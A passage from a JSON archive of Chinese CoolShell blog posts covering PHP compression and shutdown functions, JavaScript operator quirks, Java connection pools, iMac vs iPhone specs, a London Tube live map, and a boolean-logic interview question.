</span>字符串压缩</h4>\n<p>当我们说到压缩，我们可能会想到文件压缩，其实，字符串也是可以压缩的。PHP提供了?<a href=\"http://php.net/manual/en/function.gzcompress.php\">gzcompress()</a> 和 <a href=\"http://www.php.net/manual/en/function.gzuncompress.php\">gzuncompress()</a> 函数：</p>\n<pre class=\"EnlighterJSRAW\">\n$string =\n\"Lorem ipsum dolor sit amet, consectetur\nadipiscing elit. Nunc ut elit id mi ultricies\nadipiscing. Nulla facilisi. Praesent pulvinar,\nsapien vel feugiat vestibulum, nulla dui pretium orci,\nnon ultricies elit lacus quis ante. Lorem ipsum dolor\nsit amet, consectetur adipiscing elit. Aliquam\npretium ullamcorper urna quis iaculis. Etiam ac massa\nsed turpis tempor luctus. Curabitur sed nibh eu elit\nmollis congue. Praesent ipsum diam, consectetur vitae\nornare a, aliquam a nunc. In id magna pellentesque\ntellus posuere adipiscing. Sed non mi metus, at lacinia\naugue. Sed magna nisi, ornare in mollis in, mollis\nsed nunc. Etiam at justo in leo congue mollis.\nNullam in neque eget metus hendrerit scelerisque\neu non enim. Ut malesuada lacus eu nulla bibendum\nid euismod urna sodales. \";\n\n$compressed = gzcompress($string);\n\necho \"Original size: \". strlen($string).\"\\n\";\n/* 输出原始大小\nOriginal size: 800\n*/\n\necho \"Compressed size: \". strlen($compressed).\"\\n\";\n/* 输出压缩后的大小\nCompressed size: 418\n*/\n\n// 解压缩\n$original = gzuncompress($compressed);\n</pre>\n<p>几乎有<span style=\"font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 19px; white-space: normal; font-size: 13px;\">50% 压缩比率。同时，你还可以使用?<a href=\"http://www.php.net/manual/en/function.gzencode.php\">gzencode()</a> 和 <a href=\"http://www.php.net/manual/en/function.gzdecode.php\">gzdecode()</a> 函数来压缩，只不用其用了不同的压缩算法。</span></p>\n<h4><span>9. 注册停止</span>函数</h4>\n<p>有一个函数叫做?<a href=\"http://www.php.net/manual/en/function.register-shutdown-function.php\">register_shutdown_function()</a>，可以让你在整个脚本停时前运行代码。让我们看下面的一个示例：</p>\n<pre class=\"EnlighterJSRAW\">\n// capture the start time\n$start_time = microtime(true);\n\n// do some stuff\n// ...\n\n// display how long the script took\necho \"execution took: \".\n\t\t(microtime(true) - $start_time).\n\t\t\" seconds.\";\n</pre>\n<p>上面这个示例只不过是用来计算某个函数运行的时间。然后，如果你在函数中间调用?<a href=\"http://php.net/manual/en/function.exit.php\">exit()</a> 函数，那么你的最后的代码将不会被运行到。并且，如果该脚本在浏览器终止（用户按停止按钮），其也无法被运行。</p>\n<p>而当我们使用了register_shutdown_function()后，你的程序就算是在脚本被停止后也会被运行：</p>\n<pre class=\"EnlighterJSRAW\">\n$start_time = microtime(true);\n\nregister_shutdown_function('my_shutdown');\n\n// do some stuff\n// ...\n\nfunction my_shutdown() {\n\tglobal $start_time;\n\n\techo \"execution took: \".\n\t\t\t(microtime(true) - $start_time).\n\t\t\t\" seconds.\";\n}\n</pre>\n<p>文章：<a href=\"http://net.tutsplus.com/tutorials/php/9-useful-php-functions-and-features-you-need-to-know/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5160.html\"><img alt=\"PHP分页技术的代码和示例\" height=\"150\" src=\"../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2053.html\"><img alt=\"最为奇怪的程序语言的特性\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2394.html\">九个PHP很有用的功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-6-2 WTF Javascript.html",
    "content": "<html><body><p>请先看一下下面的这段Javascript程序以及其结果。</p>\n<p>[javascript]<br/>\n1 + + 1              // =&gt; 2<br/>\n1 + – + 1            // =&gt; 0<br/>\n1 + – + – + 1        // =&gt; 2<br/>\n1 + – + – + – + 1    // =&gt; 0<br/>\n1 + – + + + – + 1    // =&gt; 2<br/>\n1 + / + + + / + 1    // =&gt; 1/ + + + /1<br/>\n[/javascript]</p>\n<p>提示一下，1++1等价于1 + (+1)，也就是1加上一个正数1，如果你能搞懂其它的表达式的话，请看看下面的这段程序，你能说出其结果吗？</p>\n<p>[javascript]<br/>\n1 + / + / + / + 1    // =&gt; ?<br/>\n[/javascript]</p>\n<p>如果不知道的话，你可以到这个<a href=\"http://mir.aculo.us/2010/05/28/valid-javascript-or-not/\" target=\"_blank\">网页上去讨论讨论</a>。当然，如果你不懂也没有什么关系，因为Javascript本身就是一个很怪异的语言，再加上浏览器的种种不是，所以，<a href=\"https://coolshell.cn/articles/1850.html\" target=\"_blank\">Javascript程序员也是很郁闷的</a>。在以前的“<a href=\"https://coolshell.cn/articles/2053.html\" rel=\"bookmark\" target=\"_blank\">最为奇怪的程序语言的特性</a>”中也说过一些。Javascript最怪异的特性导致了<a href=\"http://wtfjs.com/\">wtfjs.com</a>这样的一个网站，还有一个<a href=\"http://github.com/brianleroux/wtfjs\" target=\"_blank\">WTF JS的开源站点</a>。呵呵。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2492.html\">WTF Javascript</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-6-2 四个流行的Java连接池.html",
    "content": "<html><body><p><strong><img alt=\"\" class=\"alignright\" height=\"235\" src=\"http://www.qqread.com/ArtImage/20091118/tu82_1.jpg\" width=\"210\"/>C3P0</strong>是一个开放源代码的JDBC连接池，它在lib目录中与Hibernate一起发布,包括了实现jdbc3和jdbc2扩展规范说明的Connection 和Statement 池的DataSources 对象。（主页：<a href=\"http://sourceforge.net/projects/c3p0/\" target=\"_blank\">http://sourceforge.net/projects/c3p0/</a>）</p>\n<p><strong>BoneCP </strong>是一个开源的快速的 JDBC 连接池。BoneCP很小，只有四十几K（运行时需要<a href=\"http://logging.apache.org/log4j/1.2/index.html\" target=\"_blank\">log4j</a>和<a href=\"http://code.google.com/p/google-collections/\" target=\"_blank\">Google Collections</a>的支持，这二者加起来就不小了），而相比之下 <a href=\"http://sourceforge.net/projects/c3p0/\" target=\"_blank\">C3P0</a> 要六百多K。另外个人觉得 BoneCP 有个缺点是，JDBC驱动的加载是在连接池之外的，这样在一些应用服务器的配置上就不够灵活。当然，体积小并不是 BoneCP 优秀的原因，BoneCP 到底有什么突出的地方呢，请看看<a href=\"http://jolbox.com/benchmarks.html\" target=\"_blank\">性能测试报告</a>。（主页：<a href=\"http://jolbox.com/\" target=\"_blank\">http://jolbox.com/</a>）</p>\n<p><strong>DBCP</strong> （<strong>D</strong>ata<strong>b</strong>ase <strong>C</strong>onnection <strong>P</strong>ool）是一个依赖Jakarta commons-pool对象池机制的数据库连接池，Tomcat的数据源使用的就是DBCP。目前 DBCP 有两个版本分别是 1.3 和 1.4。1.3 版本对应的是 JDK 1.4-1.5 和 JDBC 3，而1.4 版本对应 JDK 1.6 和 JDBC 4。因此在选择版本的时候要看看你用的是什么 JDK 版本了，功能上倒是没有什么区别。（主页：<a href=\"http://commons.apache.org/dbcp/\" target=\"_blank\">http://commons.apache.org/dbcp/</a>）</p>\n<p><strong>Proxool</strong>是一个Java SQL Driver驱动程序，提供了对你选择的其它类型的驱动程序的连接池封装。可以非常简单的移植到现存的代码中。完全可配置。快速，成熟，健壮。可以透明地为你现存的JDBC驱动程序增加连接池功能。（主页：<a href=\"http://proxool.sourceforge.net/\" target=\"_blank\">http://proxool.sourceforge.net/</a>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2483.html\">四个流行的Java连接池</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-6-22 2000年的iMac和2010年的iPhone.html",
    "content": "<html><body><p>以前本站发过“<a href=\"https://coolshell.cn/articles/410.html\" rel=\"bookmark\" target=\"_blank\">1980年和2009年的1GB电脑内存的比较</a>”，下面是2000年的iMac和2010年的iPhone的比较。</p>\n<p><strong><img alt=\"\" class=\"alignright\" height=\"180\" src=\"http://ecx.images-amazon.com/images/I/5176XS40F9L._SL500_AA300_.jpg\" width=\"180\"/>2000 – iMac</strong></p>\n<p style=\"text-align: left;\">操作系统 – Mac OS 9.0.4<br/>\n处理器 – 500 MHz PowerPC G3 CPU, 128MB Memory<br/>\n显示卡 – ATI Rage 128 Pro, 8MB of memory (8 million triangles)<br/>\n屏幕- 786K pixels<br/>\n数据传输速度 – 1.3-12.5 MB/s (DVD-ROM-1/100 Ethernet)<br/>\n存储设备 – 30GB Hard Drive<br/>\n显示器 – 15.0 x 15.0 x 17.1 inches<br/>\n重量 – 12.25公斤<br/>\n<strong> </strong></p>\n<p style=\"text-align: left;\"><strong><span style=\"font-weight: normal;\"><br/>\n</span></strong></p>\n<p style=\"text-align: left;\"><strong>2010 – iPhone 4</strong><br/>\n<img alt=\"\" class=\"alignright\" height=\"184\" src=\"http://t1.gstatic.com/images?q=tbn:VkjdzNuO9IeljM::&amp;t=1&amp;h=230&amp;w=219&amp;usg=__J0lvg_8oUj7dWkO_vK95Fkys1ew=\" width=\"175\"/>操作系统 – iOS 4.0<br/>\n处理器 – 1 Ghz ARM A4 CPU, 512MB Memory<br/>\n显示卡 – PowerVR SGX 535, uses system memory (28 million triangles)<br/>\n屏幕 – 614K pixels<br/>\n数据传输速度 – .04-20MB/s (3G-WiFi)<br/>\n存储设备 – 32GB Flash Drive<br/>\n显示器 – 4.5 x 2.31 x .31 inches<br/>\n重量 – 136克</p>\n<p>那么，2020年的产品会是怎么样的？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5089.html\"><img alt=\"10个必需的iOS开发工具和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5089.html\">10个必需的iOS开发工具和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3589.html\"><img alt=\"食客还是大厨\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3589.html\">食客还是大厨</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2913.html\"><img alt=\"消费者的消费观\" height=\"150\" src=\"../wp-content/uploads/2010/09/1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2913.html\">消费者的消费观</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2719.html\"><img alt=\"苹果开发工具Xcode 4 第二预览版\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2719.html\">苹果开发工具Xcode 4 第二预览版</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9410.html\"><img alt=\"Unix考古记：一个“遗失”的shell\" height=\"150\" src=\"../wp-content/uploads/2013/04/figure1-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2507.html\">2000年的iMac和2010年的iPhone</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-6-23 伦敦地铁实时图.html",
    "content": "<html><body><p>下面这个网站是关于伦敦地铁实时的运行图：<a href=\"http://traintimes.org.uk:81/map/tube/\">http://traintimes.org.uk:81/map/tube/</a></p>\n<p style=\"text-align: left;\">这是个很有意思的网站，其数据是通过伦敦政府发布的<a href=\"http://data.london.gov.uk/apibeta\" target=\"_blank\">TfL API</a>获得的，然后再加上Google Maps的API，于是就有了这样的一个页面。很不错哦。</p>\n<div class=\"mceTemp\" style=\"text-align: center;\">\n<dl class=\"wp-caption alignnone\" id=\"attachment_2521\" style=\"width: 567px;\">\n<dt class=\"wp-caption-dt\" style=\"text-align: center;\"><a href=\"http://traintimes.org.uk:81/map/tube/\"><img alt=\"\" class=\"size-full wp-image-2521\" height=\"321\" src=\"../wp-content/uploads/2010/06/London-Live-Train-Map.jpg\" title=\"伦敦地铁实时图\" width=\"557\"/></a></dt>\n<dd class=\"wp-caption-dd\">伦敦地铁实时图</dd>\n</dl>\n</div>\n<p style=\"text-align: left;\">\n</p><p>从这个事情，我们可以得到，英国的信息化的发达，首先地铁部门有实时监控的数据，然后以Web API的方式发布，从这点看来，我国的信息化水平还很差。主要是钱都投到G/F/W上去了。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4270.html\"><img alt=\"Eclipse开发Android应用程序入门\" height=\"150\" src=\"../wp-content/uploads/2011/04/install-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4270.html\">Eclipse开发Android应用程序入门</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4722.html\"><img alt=\"在Web上运行Linux\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4722.html\">在Web上运行Linux</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1256.html\"><img alt=\"你用Linux命令行吗？\" height=\"150\" src=\"../wp-content/uploads/2009/08/photo_gimp-290x300-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1256.html\">你用Linux命令行吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22422.html\"><img alt=\"是微服务架构不香还是云不香？\" height=\"150\" src=\"../wp-content/uploads/2023/05/monolith.microservices-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22422.html\">是微服务架构不香还是云不香？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3356.html\"><img alt=\"五个免费开源的数据挖掘软件\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3356.html\">五个免费开源的数据挖掘软件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/990.html\"><img alt=\"编程中的命名设计那点事\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/990.html\">编程中的命名设计那点事</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2520.html\">伦敦地铁实时图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-6-23 面试题：布尔变量.html",
    "content": "<html><body><p>下面这篇文章是从<a href=\"http://stackoverflow.com/questions/3076078/check-if-at-least-2-out-of-3-booleans-is-true/\" target=\"_blank\">StackOverflow</a>来的。LZ面试的时候遇到了一道面试题：“如果有三个Bool型变量，请写出一程序得知其中有2个以上变量的值是true”，于是LZ做了下面的这样的程序：</p>\n<pre class=\"EnlighterJSRAW\">boolean atLeastTwo(boolean a, boolean b, boolean c) {\n    if ((a &amp;&amp; b) || (b &amp;&amp; c) || (a &amp;&amp; c)) {\n        return true;\n    } else {\n        return false;\n    }\n}</pre>\n<p>面试官接着问到，请对你的这个程序改进一下，但LZ不知道怎么改进，于是上StackOverflow上问了一下，下面是StackOverflow上的众网友的回答。再往下看的时候，希望你自己能先想一想怎么改进。</p>\n<p><span id=\"more-2514\"></span></p>\n<p>有人说，如果你有下面这样的代码？</p>\n<pre class=\"EnlighterJSRAW\">    if (someExpression) {\n        return true;\n    } else {\n        return false;\n    }</pre>\n<p>你应该改成：</p>\n<p><code class=\"EnlighterJSRAW\"> return someExpression;</code></p>\n<p>所以，LZ的代码应该写成：</p>\n<p><code class=\"EnlighterJSRAW\">return ((a &amp;&amp; b) || (b &amp;&amp; c) || (a &amp;&amp; c));</code></p>\n<p>当然，解法不单单只有一种，还有下面的这些解决：</p>\n<p><strong>1）使用</strong><a href=\"http://en.wikipedia.org/wiki/Karnaugh_map\" target=\"_blank\"><strong>卡诺图</strong></a></p>\n<p><code class=\"EnlighterJSRAW\">return a ? (b || c) : (b &amp;&amp; c);</code></p>\n<p><strong>2）使用异或</strong></p>\n<p><code class=\"EnlighterJSRAW\">return a ^ b ? c : a</code></p>\n<p><strong>3）按照字面</strong></p>\n<p><code class=\"EnlighterJSRAW\">(a?1:0)+(b?1:0)+(c?1:0) &gt;= 2</code></p>\n<p><code class=\"EnlighterJSRAW\">a&amp;&amp;b || b&amp;&amp;c || a&amp;&amp;c</code></p>\n<p><strong>4）把Bool当成0和1</strong></p>\n<p><code class=\"EnlighterJSRAW\">a&amp;b | b&amp;c | c&amp;a</code></p>\n<p><code class=\"EnlighterJSRAW\">a + b + c &lt;= 2</code></p>\n<p><strong>5）如果bool不能当成0和1，则：</strong></p>\n<pre class=\"EnlighterJSRAW\">int howManyBooleansAreTrue =\n(a ? 1 : 0)\n+ (b ? 1 : 0)\n+ (c ? 1 : 0);\n\nreturn howManyBooleansAreTrue &gt;= 2;</pre>\n<p>欢迎你留下你的想法。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 